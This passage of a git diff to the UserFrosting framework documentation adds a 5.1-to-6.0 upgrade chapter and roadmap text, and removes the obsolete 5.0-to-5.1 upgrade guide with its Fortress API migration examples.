+**Example Timeline**:
+- **6.0**: Feature X is current
+- **6.1**: Feature X deprecated, Feature Y introduced as replacement
+- **6.2-6.x**: Both Feature X and Y available, warnings in logs
+- **7.0**: Feature X removed, Feature Y is the standard
+
+## Community Involvement
+
+UserFrosting is open-source and community-driven. You can influence the roadmap:
+
+### Contribute Code
+
+- Submit pull requests to [userfrosting/monorepo](https://github.com/userfrosting/monorepo)
+- Fix bugs, add features, improve documentation
+- Review and test pull requests from others
+
+### Provide Feedback
+
+- Report bugs and request features on [GitHub Issues](https://github.com/userfrosting/monorepo/issues)
+- Participate in discussions on [chat.userfrosting.com](https://chat.userfrosting.com)
+- Vote on feature requests and proposals
+
+### Support Development
+
+- [Donate on Ko-fi](https://ko-fi.com/lcharette)
+- [Become a sponsor on Open Collective](https://opencollective.com/userfrosting)
+- Hire core team members for consulting/development
+
+### Spread the Word
+
+- Share your UserFrosting projects
+- Write tutorials and blog posts
+- Answer questions from other users
+- Rate and review UserFrosting
+
+## Staying Updated
+
+### Announcements
+
+Official announcements are posted to:
+- [GitHub Releases](https://github.com/userfrosting/monorepo/releases)
+- [UserFrosting Blog](https://www.userfrosting.com/blog/) (when available)
+- [Community Chat](https://chat.userfrosting.com)
+
+### Newsletter
+
+Sign up for the UserFrosting newsletter (when available) to receive:
+- Major version announcements
+- Security advisories
+- Featured community projects
+- Tips and tutorials
+
+### Social Media
+
+Follow UserFrosting on social media for updates:
+- Twitter/X: [@UserFrosting](https://twitter.com/userfrosting) (if available)
+- GitHub: [userfrosting](https://github.com/userfrosting)
+
+## Upgrading Between Versions
+
+### Minor Version Upgrades (e.g., 6.0 → 6.1)
+
+**Process**:
+```bash
+# Update dependencies
+composer update
+npm update
+
+# Run any new migrations
+php bakery migrate
+
+# Rebuild assets
+npm run vite:build
+
+# Clear caches
+php bakery cache:clear
+```
+
+**Expected Time**: 15-30 minutes
+
+**Risk Level**: Low - backward compatible
+
+### Major Version Upgrades (e.g., 6.x → 7.0)
+
+**Process**:
+- Comprehensive upgrade guide provided
+- Review breaking changes
+- Update custom code
+- Test thoroughly
+
+**Expected Time**: Several hours to several days (depending on customization)
+
+**Risk Level**: Medium to High - breaking changes likely
+
+## Framework Philosophy
+
+As UserFrosting continues to evolve, these principles guide development:
+
+### Modern But Pragmatic
+
+We embrace modern tools and practices, but only when they provide clear benefits:
+- ✅ Adopt proven technologies (Vue 3, Vite, TypeScript)
+- ⚠️ Be cautious with bleeding-edge features
+- ❌ Avoid "hype-driven development"
+
+### Backward Compatibility
+
+We take backward compatibility seriously:
+- Breaking changes only in major versions
+- Clear migration paths provided
+- Deprecated features supported for reasonable periods
+
+### Developer Experience
+
+We prioritize developer happiness:
+- Fast development builds (Vite)
+- Clear error messages
+- Comprehensive documentation
+- Active community support
+
+### Educational Focus
+
+UserFrosting aims to teach best practices:
+- Documentation explains the "why" not just the "how"
+- Examples demonstrate modern PHP/JavaScript patterns
+- Comments in code help developers learn
+
+## Questions?
+
+Have questions about the future of UserFrosting?
+
+- **Technical Questions**: Ask in [chat.userfrosting.com](https://chat.userfrosting.com)
+- **Feature Requests**: Open an issue on [GitHub](https://github.com/userfrosting/monorepo/issues)
+- **General Discussion**: Start a thread in the community chat
+
+The UserFrosting team is committed to making this the best PHP framework for user-centered applications. Thank you for being part of the journey! 🚀
diff --git a/app/pages/6.0/22.upgrading/01.51-to-60/chapter.md b/app/pages/6.0/22.upgrading/01.51-to-60/chapter.md
new file mode 100644
index 00000000..79a9ba32
--- /dev/null
+++ b/app/pages/6.0/22.upgrading/01.51-to-60/chapter.md
@@ -0,0 +1,86 @@
+---
+title: 5.1.x to 6.0.x
+description: Complete upgrade guide for migrating from UserFrosting 5.1 to 6.0
+wip: true
+---
+
+# Upgrading from UserFrosting 5.1 to 6.0
+
+Welcome to **UserFrosting 6.0**! This major release represents a significant evolution of the framework, bringing modern development tools, improved performance, and a streamlined architecture.
+
+This guide walks you through the upgrade process step-by-step. While the changes are substantial, we've designed the migration path to be as smooth as possible.
+
+> [!WARNING]
+> This is a **major version upgrade** with breaking changes. Allocate appropriate time for testing and migration. Start with a development environment and thoroughly test before deploying to production.
+
+> [!NOTE]
+> Before proceeding, ensure you're running the latest version of UserFrosting 5.1 and have reviewed its changelog.
+
+## What This Guide Covers
+
+This section provides detailed information about:
+
+- **[Changelog](upgrading/51-to-60/changelog)**: Comprehensive list of changes, additions, and removals in 6.0
+- **[Migration Guide](upgrading/51-to-60/guide)**: Step-by-step instructions for upgrading your application
+- **[What to Expect](upgrading/51-to-60/what-to-expect)**: Future roadmap and what comes next after 6.0
+
+## Quick Overview
+
+The most significant changes in UserFrosting 6.0:
+
+### Repository Consolidation
+UserFrosting 5.1 was distributed across six separate repositories:
+- Skeleton (main application)
+- Framework (core framework)
+- Core (core sprinkle)
+- Account (user management sprinkle)
+- Admin (admin panel sprinkle)
+- AdminLTE (theme sprinkle)
+
+UserFrosting 6.0 consolidates everything into a **single monorepo** at `https://github.com/userfrosting/monorepo`. This simplifies development, versioning, and dependency management.
+
+### Frontend Modernization
+**Before (5.1)**:
+- Webpack Encore for asset bundling
+- jQuery for DOM manipulation
+- Bootstrap for UI components
+- Handlebars for client-side templating
+
+**After (6.0)**:
+- Vite for lightning-fast asset bundling with HMR
+- Vue 3 for reactive components
+- UIkit 3 for modern UI framework (in AdminLTE theme)
+- TypeScript for type-safe development
+- Native ES modules
+
+### Development Experience
+- **Faster builds**: Vite's instant dev server startup vs Webpack's compilation
+- **Hot Module Replacement**: See changes instantly without page refresh
+- **Better errors**: Clear, actionable error messages
+- **Simplified config**: Less boilerplate, more intuitive
+
+### PHP Requirements
+- **Minimum PHP version**: 8.1 (up from 8.0)
+- **Recommended PHP version**: 8.4
+- **Node.js requirement**: 18.0+ (LTS 24 recommended)
+
+## Migration Time Estimate
+
+Depending on your application's complexity:
+
+- **Simple application** (minimal customization): 2-4 hours
+- **Moderate application** (custom sprinkles, some frontend work): 1-2 days
+- **Complex application** (extensive customizations, multiple sprinkles): 3-5 days
+
+The frontend migration (Webpack → Vite) typically requires the most attention, especially if you have custom Vue components or complex asset pipelines.
+
+## Getting Help
+
+If you encounter issues during the upgrade:
+
+1. Check the [Troubleshooting](troubleshooting) chapter
+2. Search existing [GitHub issues](https://github.com/userfrosting/monorepo/issues)
+3. Ask in the [UserFrosting chat](https://chat.userfrosting.com)
+4. Open a new issue with detailed information about your setup
+
+Ready to begin? Start with the [Changelog](upgrading/51-to-60/changelog) to understand what's changed, then follow the [Migration Guide](upgrading/51-to-60/guide) for step-by-step instructions.
diff --git a/app/pages/6.0/22.upgrading/02.50-to-51/01.changelog/docs.md b/app/pages/6.0/22.upgrading/02.50-to-51/01.changelog/docs.md
deleted file mode 100644
index 0cbc4327..00000000
--- a/app/pages/6.0/22.upgrading/02.50-to-51/01.changelog/docs.md
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: What's new in 5.1
-description: A detailed look at what's new in UserFrosting 5.1
-obsolete: true
----
-
-UserFrosting 5.1 focuses on adding PHP 8.3 support, removing PHP 8.1 support, upgrading Laravel, PHPUnit & FontAwesome dependencies and continue improving code quality.
-
-## Changed Requirements
-UserFrosting 5.1 removes support for PHP version 8.1, which has reached [End Of Life](http://php.net/supported-versions.php) as of November 2023 and won't receive security update as of November 2024. **PHP version 8.3 is now recommended**.
-
-## Upgraded Dependencies
- - Update from Laravel 8 to Laravel 10
- - Update from PHPUnit 9 to PHPUnit 10
- - Update from Monolog 2 to Monolog 3
- - Update FontAwesome 5 to FontAwesome 6
-
-## Detailed changes
-Changes generally applied across UserFrosting includes : 
- - Add automated testing against MariaDB [#1238](https://github.com/userfrosting/UserFrosting/issues/1238) on each sprinkles
- - Complete 100% test coverage & PHPStan Level 8 validation across all default packages
-
-### UserFrosting Framework
-#### General
-- Removed `src/Assets` (it isn't used as part of UserFrosting 5.0) 
-- SprinkleManager is a bit more strict on argument types. Recipe classed must be a `class-string`. The actual instance of the class will now be rejected (it wasn't a documented feature anyway).
-
-#### Fortress
-Complete refactoring of Fortress. Mostly enforcing strict types, updating PHPDocs, simplifying code logic and making uses of new PHP features and method. Most classes have been deprecated and replaced by new classes with updated implementation. 
-
-In general, instead of passing the *schema* in the constructor of Adapters, Transformers and Validators class, you pass it directly to theses class methods. This makes it easier to inject the classes as services and reuse the same instance with different schemas. 
-
-[Check out the updated documentation](routes-and-controllers/client-input/validation) for more information on new class usage, as well as the upgrade guide. 
-
-#### Config
-- Methods `getBool`, `getString`, `getInt` & `getArray` now return `null` if key doesn't exist, to make it on par with parent `get` method.
-
-#### Alert
-- Messages are now translated at read time ([#1156](https://github.com/userfrosting/UserFrosting/pull/1156), [#811](https://github.com/userfrosting/UserFrosting/issues/811)). Messages will be translated when using `messages` and `getAndClearMessages`. `addMessage` now accept the optional placeholders, which will be stored with the alert message. `addMessageTranslated` is **deprecated**. 
-- Translator is not optional anymore. `setTranslator` method has been removed.
-- `addValidationErrors` is deprecated (N.B.: It can't accept the new `\UserFrosting\Fortress\Validator\ServerSideValidatorInterface`)
-
-#### UniformResourceLocator
-- Two locations cannot have the same name anymore. An `InvalidArgumentException` will be thrown otherwise. (Ref [userfrosting/UserFrosting#1243](https://github.com/userfrosting/UserFrosting/issues/1243)).
-- [*DEPRECATION*] Location's `getSlug` is deprecated (redundant with the name and not really used).
-
-### Core sprinkle
-#### Rework of the assets building commands
-This change allows new bakery command to update Npm assets, and eventually allows sprinkles to replace webpack with something else (eg. Vite). The new commands are :
-  - `assets:install` : Alias for `npm install`.
-  - `assets:update` : Alias for `npm update`.
-  - `assets:webpack` : Alias for `npm run dev`, `npm run build` and `npm run watch`, each used to run Webpack Encore.
-  - `assets:build` : Aggregator command for building assets. Include by default `assets:install` and `assets:webpack`. The `webpack` and `build-assets` command are now alias of this command. `bake` also uses this command now. Sub commands can be added to `assets:build` by listening to `AssetsBuildCommandEvent`.
-
-*tl;dr* : Use `php bakery assets:build` instead of `php bakery webpack` or `php bakery build-assets`. 
-
-See [Assets Chapter](asset-management) and [Bakery commands](cli/commands) for more details.
-
-#### Loggers changes
-The different loggers now implement their own interface, for more flexibility with dependency injection. Debuggers should now be injected using their interface, instead of their class name.
-
-| Class name         | Interface                   |
-| ------------------ | --------------------------- |
-| DebugLogger        | DebugLoggerInterface        |
-| ErrorLogger        | ErrorLoggerInterface        |
-| MailLogger         | MailLoggerInterface         |
-| QueryLogger        | QueryLoggerInterface        |
-| UserActivityLogger | UserActivityLoggerInterface |
-
-Behind the scene, each interface extends `Psr\Log\LoggerInterface`. Plus, instead of *extending* `Monolog\Logger`, each loggers now *wraps* `Monolog\Logger`. This makes the loggers decoupled from Monolog implementation, in favor of the PSR implementation, making it easier to replace Monolog if required.
-
-Finally, `UserActivityLogger` used to define some constants. These have been moved to `UserActivityTypes` enum.
-
-#### New bakery commands
-- [`serve`](cli/commands#serve) : Run the php built-in web server to test your application 
-- [`debug:twig`](cli/commands#debug) : List all twig namespaces to help debugging
-
-#### New Twig Function
-Any configuration values can now be accessed in Twig using the [config](templating-with-twig/filters-and-functions#config) helper function. Before, only `site` subarray were available in Twig. Use this carefully, as sensitive information (ie. passwords) could be stored in config !
-
-#### Misc changes
-- Session database model now implements 
-- `UserFrosting\Sprinkle\Core\Database\Models\Interfaces\SessionModelInterface`;
-- Use our own RouterParser, wrapped around Slim's RouteParser. Allows to add 'fallback' routes when names routes are not found.
-
-### Account sprinkle
-Missing permissions slugs were missing from the original seed, and thus from to the database ([#1225](https://github.com/userfrosting/UserFrosting/issues/1225)). See the next page for more information on this.
-
-### Admin Sprinkle
-No significant changes.
-
-### AdminLTE theme
-Add fallback routes when 'index' is not defined (Fix [#1244](https://github.com/userfrosting/UserFrosting/issues/1244))
-
-## Complete change Log
-
-See the changelog of each component for the complete list of changes included in this release.
-- [Skeleton](https://github.com/userfrosting/UserFrosting/blob/5.1/CHANGELOG.md#510)
-- [Framework](https://github.com/userfrosting/framework/blob/5.1/CHANGELOG.md#510)
-- [Core sprinkle](https://github.com/userfrosting/sprinkle-core/blob/5.1/CHANGELOG.md#510)
-- [Account sprinkle](https://github.com/userfrosting/sprinkle-account/blob/5.1/CHANGELOG.md#510)
-- [Admin sprinkle](https://github.com/userfrosting/sprinkle-admin/blob/5.1/CHANGELOG.md#510)
-- [AdminLTE sprinkle](https://github.com/userfrosting/theme-adminlte/blob/5.1/CHANGELOG.md#510)
-
-## Migrating
-
-Now that we've cover the basics changes, follow on to the next pages to the steps required to bring your app up to date with UserFrosting 5.1.
diff --git a/app/pages/6.0/22.upgrading/02.50-to-51/02.guide/docs.md b/app/pages/6.0/22.upgrading/02.50-to-51/02.guide/docs.md
deleted file mode 100644
index f21b52f8..00000000
--- a/app/pages/6.0/22.upgrading/02.50-to-51/02.guide/docs.md
+++ /dev/null
@@ -1,291 +0,0 @@
----
-title: Upgrade Guide
-description: Upgrade guide from version 5.0.x to 5.1.x
-obsolete: true
----
-
-## Dependencies
-### Composer
-
-Upgrading UserFrosting to `5.1.x` from `5.0.x` is as simple as updating your `composer.json` file and fetching updated dependencies! First, you'll need to edit your `composer.json`.
-
-Update from : 
-```json
-// ...
-"require": {
-    "php": "^8.0",
-    "ext-gd": "*",
-    "userfrosting/framework": "^5.0",
-    "userfrosting/sprinkle-core": "^5.0",
-    "userfrosting/sprinkle-account": "^5.0",
-    "userfrosting/sprinkle-admin": "^5.0",
-    "userfrosting/theme-adminlte": "^5.0"
-},
-// ...
-```
-
-To:
-```json
-// ...
-"require": {
-    "php": "^8.1",
-    "ext-gd": "*",
-    "userfrosting/framework": "~5.1.0",
-    "userfrosting/sprinkle-core": "~5.1.0",
-    "userfrosting/sprinkle-account": "~5.1.0",
-    "userfrosting/sprinkle-admin": "~5.1.0",
-    "userfrosting/theme-adminlte": "~5.1.0"
-},
-// ...
-```
-
-Now, simply use composer to get up to date with everything :
-
-```bash
-$ composer update
-```
-
-### NPM
-
-Open `package.json` and update from : 
-
-```json
-// ...
-"dependencies": {
-    "@userfrosting/sprinkle-admin": "^5.0",
-    "@userfrosting/theme-adminlte": "^5.0"
-},
-// ...
-```
-
-To:
-```json
-// ...
-"dependencies": {
-    "@userfrosting/sprinkle-admin": "~5.1.0",
-    "@userfrosting/theme-adminlte": "~5.1.0"
-},
-// ...
-```
-
-Now, simply use npm and [Bakery](cli) to get up to date with everything else:
-
-```bash
-$ npm update
-$ php bakery bake
-```
-
-## Migrating your Sprinkles
-
-### Font Awesome
-
-UserFrosting 5.1 now ships with Font Awesome 6 in the AdminLTE theme. While Font Awesome 6 is backward compatible with Font Awesome 5, some icons [have been renamed](https://docs.fontawesome.com/web/setup/upgrade/whats-changed#icons-renamed-in-version-6) and you might need to manually update these in your sprinkle. 
-
-Checkout the Font Awesome guide for more information : [https://docs.fontawesome.com/web/setup/upgrade/whats-changed](https://docs.fontawesome.com/web/setup/upgrade/whats-changed)
-
-### Missing default permissions
-
-Some built-in permissions [were missing from the database](https://github.com/userfrosting/UserFrosting/issues/1225) :
- - `uri_role`
- - `uri_roles`
- - `uri_permissions`
- - `view_role_field`
- - `create_role`
- - `delete_role`
- - `update_user_field_role`
- - `update_role_field`
- - `view_user_field_permissions`
- - `view_system_info`
- - `clear_cache`
-
-To add them to the database, run `php bakery seed` and select `UserFrosting\Sprinkle\Account\Database\Seeds\DefaultPermissions`. These will also be added to the `site-admin` role when running the seed.
-
-> [!WARNING]
-> If your application defines custom permissions to the `site-admin` role or you customized this role, **do not run the seed** unless you want to lose any custom changes. Running the seed will revert back the role to it's default state.
-
-The `site-admin` role is now on par with the root user permission by default, except for the last two permissions added, `view_system_info` & `clear_cache`. Theses can be added to the role if desired using the UI.
-
-### `urlFor` service change
-
-When calling [`urlFor`](templating-with-twig/filters-and-functions#urlfor) **in PHP** (not Twig) to generate a route from its name, the service has been replaced. Find and replace the following import to upgrade: 
-- Find : `use Slim\Interfaces\RouteParserInterface;`
-- Replace : `use UserFrosting\Sprinkle\Core\Util\RouteParserInterface;`
-
-### Alerts
-
-When using the [alerts](advanced/alert-stream) service, replace `addMessageTranslated(...);` with `addMessage(...);`. The old method is still available, but it is deprecated and will be removed in a future version.
-
-### Fortress
-
-Fortress has been completely rewritten for UserFrosting 5.1. Most classes have been kept and will continue working, but these have been marked deprecated and will be removed in future version. It is recommended to upgrade your code now to avoid issues later.
-
-#### RequestSchema
-The `UserFrosting\Fortress\RequestSchema` constructor's first argument now accepts the schema data as an array, as well as a string representing a path to the schema json or yaml file. The argument can still be omitted to create an empty schema. This change makes `UserFrosting\Fortress\RequestSchema\RequestSchemaRepository` obsolete and and such been ***deprecated***. For example:
-
-```php
-// Before
-$schemaFromArray = new \UserFrosting\Fortress\RequestSchema\RequestSchemaRepository([
-    // ...
-]);
-
-// After
-$schemaFromArray = new \UserFrosting\Fortress\RequestSchema([
-    // ...
-]);
-```
-
-#### RequestDataTransformer
-`UserFrosting\Fortress\RequestDataTransformer` is ***deprecated*** and replaced by `\UserFrosting\Fortress\Transformer\RequestDataTransformer` (*notice the difference in the namespace !*). 
-
-When using the new class, instead of passing the schema in the constructor, you pass it directly to `transform()` or `transformField()`. For example : 
-
-```php
-// Before
-$transformer = new \UserFrosting\Fortress\RequestDataTransformer($schema);
-$result = $transformer->transform($data, 'skip');
-
-// After
-$transformer = new \UserFrosting\Fortress\Transformer\RequestDataTransformer();
-$result = $transformer->transform($schema, $data, 'skip');
-```
-
-`\UserFrosting\Fortress\RequestDataTransformerInterface` is also ***deprecated*** and replaced by `\UserFrosting\Fortress\Transformer\RequestDataTransformerInterface`. 
-
-> [!TIP]
-> Before, `RequestDataTransformer` was typically created inside the controllers each time it was needed. It now can be injected using `RequestDataTransformerInterface`.
-
-#### ServerSideValidator
-`\UserFrosting\Fortress\ServerSideValidator` is ***deprecated*** and replaced by `\UserFrosting\Fortress\Validator\ServerSideValidator` (*notice the difference in the namespace !*). 
-
-When using the new class, instead of passing the schema in the constructor, you pass it directly to `validate()`. For example : 
-
-```php
-// Before
-$validator = new \UserFrosting\Fortress\ServerSideValidator($schema, $this->translator);
-$result = $validator->validate($data);
-
-// After
-$adapter = new \UserFrosting\Fortress\Validator\ServerSideValidator($this->translator);
-$result = $validator->validate($schema, $data);
-```
-
-`\UserFrosting\Fortress\ServerSideValidatorInterface` is also ***deprecated*** and replaced by `\UserFrosting\Fortress\Validator\ServerSideValidatorInterface`. 
-  
-> [!TIP]
-> Before, `ServerSideValidator` was typically created inside the controllers each time it was needed. It now can be injected using `ServerSideValidatorInterface`. The translator will be "sub-injected" at the same time.
-
-#### FormValidationAdapter
-`UserFrosting\Fortress\Adapter\FormValidationAdapter` is ***deprecated***. Instead of defining the format in the `rules` method, you simply use of the appropriate class for the associated format.
-
-| Arguments                                  | Code                                                  | Replacement class                                          |
-| ------------------------------------------ | ----------------------------------------------------- | ---------------------------------------------------------- |
-| `$format = json` & `$stringEncode = true`  | `rules()` or `rules('json')` or `rules('json', true)` | `UserFrosting\Fortress\Adapter\FormValidationJsonAdapter`  |
-| `$format = json` & `$stringEncode = false` | `rules('json', false)`                                | `UserFrosting\Fortress\Adapter\FormValidationArrayAdapter` |
-| `$format = html5`                          | `rules('html5')`                                      | `UserFrosting\Fortress\Adapter\FormValidationHtml5Adapter` |
-
-Finally, instead of passing the schema in the constructor, you now pass it directly to `rules()`. 
-
-For example : 
-```php
-// Before
-$adapter = new FormValidationAdapter($schema, $this->translator);
-$result = $adapter->rules('json', false);
-
-// After
-$adapter = new FormValidationArrayAdapter($this->translator);
-$result = $adapter->rules($schema);
-```
-
-```php
-// Before
-$adapter = new FormValidationAdapter($schema, $this->translator);
-$result = $adapter->rules(); // Or $result = $adapter->rules('json');
-
-// After
-$adapter = new FormValidationJsonAdapter($this->translator);
-$result = $adapter->rules($schema);
-```
-
-> [!TIP]
-> Again, the required adapter can now be injected into your class.
-
-#### JqueryValidationAdapter
-`UserFrosting\Fortress\Adapter\JqueryValidationAdapter` is ***deprecated***. Instead of defining the format in the `rules` method, you simply use of the appropriate class for the associated format.
-
-| Arguments                                  | Code                                                   | Replacement class                                            |
-| ------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------ |
-| `$format = json` & `$stringEncode = false` | `rules()` or `rules('json')` or `rules('json', false)` | `UserFrosting\Fortress\Adapter\JqueryValidationArrayAdapter` |
-| `$format = json` & `$stringEncode = true`  | `rules('json', true)`                                  | `UserFrosting\Fortress\Adapter\JqueryValidationJsonAdapter`  |
-
-```php
-// Before
-$validator = new JqueryValidationAdapter($schema, $this->translator);
-$result = $validator->rules();
-
-// After
-$validator = new JqueryValidationAdapter($this->translator);
-$result = $validator->rules($schema);
-```
-
-#### Validation errors
-
-`FormValidationAdapter` and `JqueryValidationAdapter` used to have an `errors()` method to fetch validation errors messages and `validate` used to return true if errors where found, an  false otherwise. These messages are now directly returned as an array when calling `validate`. An empty array means no error. Therefor, the way to handle them has changed :  
-
-Old : 
-```php
-if ($validator->validate($data) === false && is_array($validator->errors())) {
-    $e = new ValidationException();
-    $e->addErrors($validator->errors());
-}
-```
-
-New : 
-```php
-$errors = $this->validator->validate($schema, $data);
-if (count($errors) !== 0) {
-    $e = new ValidationException();
-    $e->addErrors($errors);
-
-    throw $e;
-}
-```
-
-This change affect alert's `addValidationErrors`, which can't be used anymore. 
-
-Old :
-```php
-$validator = new \UserFrosting\Fortress\ServerSideValidator($schema, $this->translator);
-if ($validator->validate($data) === false && is_array($validator->errors())) {
-    $this->alert->addValidationErrors($validator);
-        return;
-}
-```
-
-New :
-```php
-$validator = new \UserFrosting\Fortress\Validator\ServerSideValidator($this->translator);
-$errors = $this->validator->validate($schema, $data);
-if (count($errors) !== 0) {
-    foreach ($errors as $idx => $field) {
-        foreach ($field as $eidx => $error) {
-            $this->alert->addMessage('danger', $error);
-        }
-    }
-    return;
-}
-```
-
-### UserActivityLogger
-
-If using `UserActivityLogger` service, the default constants have been moved to the `UserActivityTypes` enum. 
-
-| Old                                        | New                                  |
-| ------------------------------------------ | ------------------------------------ |
-| UserActivityLogger::TYPE_REGISTER          | UserActivityTypes::REGISTER          |
-| UserActivityLogger::TYPE_VERIFIED          | UserActivityTypes::VERIFIED          |
-| UserActivityLogger::TYPE_PASSWORD_RESET    | UserActivityTypes::PASSWORD_RESET    |
-| UserActivityLogger::TYPE_LOGGED_IN         | UserActivityTypes::LOGGED_IN         |
-| UserActivityLogger::TYPE_LOGGED_OUT        | UserActivityTypes::LOGGED_OUT        |
-| UserActivityLogger::TYPE_PASSWORD_UPGRADED | UserActivityTypes::PASSWORD_UPGRADED |
-
-Plus, injections can be replaced from `UserActivityLogger` to `UserActivityLoggerInterface`.
diff --git a/app/pages/6.0/22.upgrading/02.50-to-51/03.roadmap/docs.md b/app/pages/6.0/22.upgrading/02.50-to-51/03.roadmap/docs.md
deleted file mode 100644
index 54928f7d..00000000
--- a/app/pages/6.0/22.upgrading/02.50-to-51/03.roadmap/docs.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Coming up next
-description: ""
-obsolete: true
----
-
-### UserFrosting 5.2
-
-The main focus of UserFrosting 5.2 will be :
-
-- Update locales (translations), move them to their custom sprinkle
-- Improve Docker support
-- Add Redis/Memecache session driver
-- (Maybe) Update Laravel to version 11
-- (Maybe) Require PHP 8.2 minimum
-- Etc.
-
-No release date has been determined right now. If you would like to give a hand, don't hesitate to contribute by sending a Pull Request on GitHub, or getting in touch on the [Chat](https://chat.userfrosting.com).
-
-### UserFrosting 6
-
-Meanwhile, work for [UserFrosting 6](upgrading/46-to-50/roadmap#userfrosting-6) is moving along! As a reminder, UF6 goal is to completely rewrite the frontend, with a brand new custom theme replacing AdminLTE and based on [UIKit](https://getuikit.com). Handlebar and every frontend javascript code will also be replaced with [Vue.js](https://vuejs.org). 
-
-You can find a proof of concept of this new Vue.js based UI (built with UF5) and the foundation of the new theme, **Pink Cupcake**, at the links below.
-
-- [userfrosting/demo-vue](https://github.com/userfrosting/demo-vue/tree/main)
-- [userfrosting/theme-pinkcupcake](https://github.com/userfrosting/theme-pinkcupcake) 
diff --git a/app/pages/6.0/22.upgrading/02.50-to-51/chapter.md b/app/pages/6.0/22.upgrading/02.50-to-51/chapter.md
deleted file mode 100644
index 2b95fe9e..00000000
--- a/app/pages/6.0/22.upgrading/02.50-to-51/chapter.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: 5.0.x to 5.1.x
-description: Upgrade guide for UserFrosting 5.1
-obsolete: true
----
-
-# Upgrading to UserFrosting 5.1
-
-Welcome, loyal developers, to the wonders of **UserFrosting 5.1**! 
-
-UserFrosting 5.1 focuses on adding PHP 8.3 support, removing PHP 8.1 support, upgrading Laravel, PHPUnit & FontAwesome dependencies and continue improving code quality.
-
-> [!NOTE]
-> Before going further, make sure you're running the latest version of UserFrosting 5.0 and reviewed it's [upgrade guide](upgrading/46-to-50).
\ No newline at end of file
diff --git a/app/pages/6.0/22.upgrading/chapter.md b/app/pages/6.0/22.upgrading/chapter.md
index 7ffe9dd2..32216b45 100644
--- a/app/pages/6.0/22.upgrading/chapter.md
+++ b/app/pages/6.0/22.upgrading/chapter.md
@@ -1,11 +1,57 @@
 ---
 title: Upgrading
-description: Upgrading to future versions of UserFrosting is easy...
-obsolete: true
+description: Guide for upgrading to UserFrosting 6.0 from previous versions.
+wip: true
 ---
 
 #### Chapter 22
 
-# Upgrading
+# Upgrading to UserFrosting 6.0
 
-Upgrading to newer versions of UserFrosting is easy, owing to the clean separation of the core codebase from your project's code. This chapter goes through this process for each new version in the 5 release cycle.
+UserFrosting 6.0 represents a major evolution of the framework, consolidating what was previously spread across six separate repositories into a single, unified monorepo. This structural change, combined with a modernized frontend stack and improved developer experience, makes this one of the most significant updates in UserFrosting's history.
+
+While the changes are substantial, the upgrade process is manageable when approached systematically. This chapter guides you through migrating from UserFrosting 5.1 to 6.0, explaining what's changed, why it changed, and how to update your application to take advantage of the new architecture.
+
+## What's New in 6.0
+
+UserFrosting 6.0 brings several major improvements:
+
+- **Unified Monorepo**: All components (Framework, Core, Account, Admin, AdminLTE) consolidated into one repository
+- **Modern Frontend Stack**: Transition from Webpack Encore to Vite with Hot Module Replacement
+- **Vue 3 & TypeScript**: First-class support for modern JavaScript development
+- **UIkit 3**: Updated UI framework replacing Bootstrap (in AdminLTE theme)
+- **Improved Developer Experience**: Faster build times, better error messages, simpler configuration
+- **PHP 8.1+ Required**: Leveraging modern PHP features and improved performance
+
+## Should You Upgrade?
+
+If you're starting a new project, absolutely use UserFrosting 6.0. For existing applications, consider:
+
+- **Green light**: If you're actively developing and can allocate migration time
+- **Yellow light**: If your app is in maintenance mode but could benefit from security updates
+- **Red light**: If your app is stable and you don't need new features (5.1 will receive critical security updates)
+
+UserFrosting 5.1 continues to receive security updates, so there's no immediate pressure to upgrade production applications. However, 6.0's improvements make it worthwhile for active projects.
+
+## Before You Begin
+
+> [!IMPORTANT]
+> **Back up your application and database** before starting the upgrade process. Test the upgrade in a development environment first, never directly in production.
+
+Requirements for UserFrosting 6.0:
+- PHP 8.1 or higher (8.5 recommended)
+- Composer 2
+- Node.js 18.0 or higher (24 LTS recommended)
+- npm 9.0 or higher
+
+## Upgrade Strategy
+
+The migration from 5.1 to 6.0 involves several layers:
+
+1. **Repository structure**: Moving from multiple repositories to monorepo
+2. **Dependencies**: Updating Composer and npm packages
+3. **Frontend assets**: Migrating from Webpack Encore to Vite
+4. **Configuration**: Adjusting for new structure and features
+5. **Custom code**: Updating your sprinkles for API changes
+
+This chapter walks you through each of these steps systematically.
diff --git a/app/pages/6.0/23.contributing/01.supporting-userfrosting/docs.md b/app/pages/6.0/23.contributing/01.supporting-userfrosting/docs.md
index 30b36354..f434a892 100644
--- a/app/pages/6.0/23.contributing/01.supporting-userfrosting/docs.md
+++ b/app/pages/6.0/23.contributing/01.supporting-userfrosting/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Supporting UserFrosting
 description: Donate your time, money, or expertise to furthering the development of UserFrosting.
-obsolete: true
+wip: true
 ---
 
 ## Financial support
diff --git a/app/pages/6.0/23.contributing/chapter.md b/app/pages/6.0/23.contributing/chapter.md
index 30bf90c1..d1501c98 100644
--- a/app/pages/6.0/23.contributing/chapter.md
+++ b/app/pages/6.0/23.contributing/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Giving Back to UF
 description: UserFrosting is possible thanks to the generous contributions of users like you!
-obsolete: true
+wip: true
 ---
 
 #### Chapter 23